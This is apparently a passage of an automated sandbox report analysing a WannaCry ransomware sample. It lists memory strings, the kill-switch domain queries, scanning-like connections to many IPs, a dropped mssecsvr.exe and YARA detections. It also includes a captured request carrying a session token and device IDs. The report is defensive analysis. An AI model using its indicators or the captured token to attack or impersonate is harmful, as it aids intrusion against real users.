Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000D.00000002.318715274.000001EE76856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318285439.000001EE76850000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318444660.000001EE76855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000D.00000002.318696253.000001EE76842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318430440.000001EE76841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.318696253.000001EE76842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.318702509.000001EE7684B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000D.00000002.318702509.000001EE7684B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000D.00000003.318309705.000001EE76863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000D.00000002.318619371.000001EE76813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318423774.000001EE76845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318423774.000001EE76845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000D.00000002.318677709.000001EE76839000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000D.00000002.318715274.000001EE76856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318285439.000001EE76850000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318444660.000001EE76855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comCache-Control: no-cacheCookie: __tad=1671699794.6959477
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51525
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54184
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50405
Source: unknown	Network traffic detected: HTTP traffic on port 52541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52541
Source: unknown	Network traffic detected: HTTP traffic on port 54184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50962
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50342 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 22 Dec 2022 09:03:14 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 22 Dec 2022 09:03:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 22 Dec 2022 09:03:16 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.4.90
Source: unknown	TCP traffic detected without corresponding DNS query: 8.51.118.224
Source: unknown	TCP traffic detected without corresponding DNS query: 96.41.163.58
Source: unknown	TCP traffic detected without corresponding DNS query: 35.146.37.100
Source: unknown	TCP traffic detected without corresponding DNS query: 19.221.53.239
Source: unknown	TCP traffic detected without corresponding DNS query: 138.29.215.73
Source: unknown	TCP traffic detected without corresponding DNS query: 129.160.227.110
Source: unknown	TCP traffic detected without corresponding DNS query: 186.165.231.64
Source: unknown	TCP traffic detected without corresponding DNS query: 77.216.205.236
Source: unknown	TCP traffic detected without corresponding DNS query: 196.133.211.212
Source: unknown	TCP traffic detected without corresponding DNS query: 109.115.16.196
Source: unknown	TCP traffic detected without corresponding DNS query: 29.249.0.106
Source: unknown	TCP traffic detected without corresponding DNS query: 158.88.189.160
Source: unknown	TCP traffic detected without corresponding DNS query: 50.205.38.193
Source: unknown	TCP traffic detected without corresponding DNS query: 85.120.42.53
Source: unknown	TCP traffic detected without corresponding DNS query: 2.85.141.229
Source: unknown	TCP traffic detected without corresponding DNS query: 50.205.38.193
Source: unknown	TCP traffic detected without corresponding DNS query: 117.93.84.26
Source: unknown	TCP traffic detected without corresponding DNS query: 1.33.128.83
Source: unknown	TCP traffic detected without corresponding DNS query: 150.173.127.92
Source: unknown	TCP traffic detected without corresponding DNS query: 156.12.56.166
Source: unknown	TCP traffic detected without corresponding DNS query: 86.0.187.68
Source: unknown	TCP traffic detected without corresponding DNS query: 137.76.207.134
Source: unknown	TCP traffic detected without corresponding DNS query: 77.175.111.215
Source: unknown	TCP traffic detected without corresponding DNS query: 79.98.195.208
Source: unknown	TCP traffic detected without corresponding DNS query: 52.196.133.110
Source: unknown	TCP traffic detected without corresponding DNS query: 151.236.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 62.172.84.196
Source: unknown	TCP traffic detected without corresponding DNS query: 134.168.186.112
Source: unknown	TCP traffic detected without corresponding DNS query: 134.41.198.198
Source: unknown	TCP traffic detected without corresponding DNS query: 124.115.43.220
Source: unknown	TCP traffic detected without corresponding DNS query: 177.149.69.158
Source: unknown	TCP traffic detected without corresponding DNS query: 113.112.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 137.113.173.104

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Agent-DeviceId: 0100748C09001CEAX-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3DX-BM-CBT: 1660690402X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: */*Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 81571Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2

Source: unknown	HTTPS traffic detected: 23.211.4.90:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.153.243:443 -> 192.168.2.6:50342 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.152.133:443 -> 192.168.2.6:50405 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:50576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:50962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:51525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.153.243:443 -> 192.168.2.6:52541 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:54184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.153.243:443 -> 192.168.2.6:58260 version: TLS 1.2

Source: loaddll32.exe, 00000000.00000002.256873728.00000000009EB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: IU28r0EZFA.dll, type: SAMPLE
Source: Yara match	File source: 8.2.mssecsvr.exe.1e99104.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.1e8a084.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.23c4948.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.23b58c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.1e99104.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.1e950a4.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.23c08e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.23c4948.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.256853594.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.258546665.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.262725423.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.250545715.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.251058455.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.259116711.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.252370935.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.781421602.00000000023C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.779909351.0000000001E99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.253622528.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.265323561.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.257654724.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.258739845.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 5940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 4764, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: IU28r0EZFA.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.23b58c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.1e8a084.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.1e99104.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.1e99104.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.1e8a084.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.1e8a084.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.23c4948.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.23c4948.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.23b58c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.23b58c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
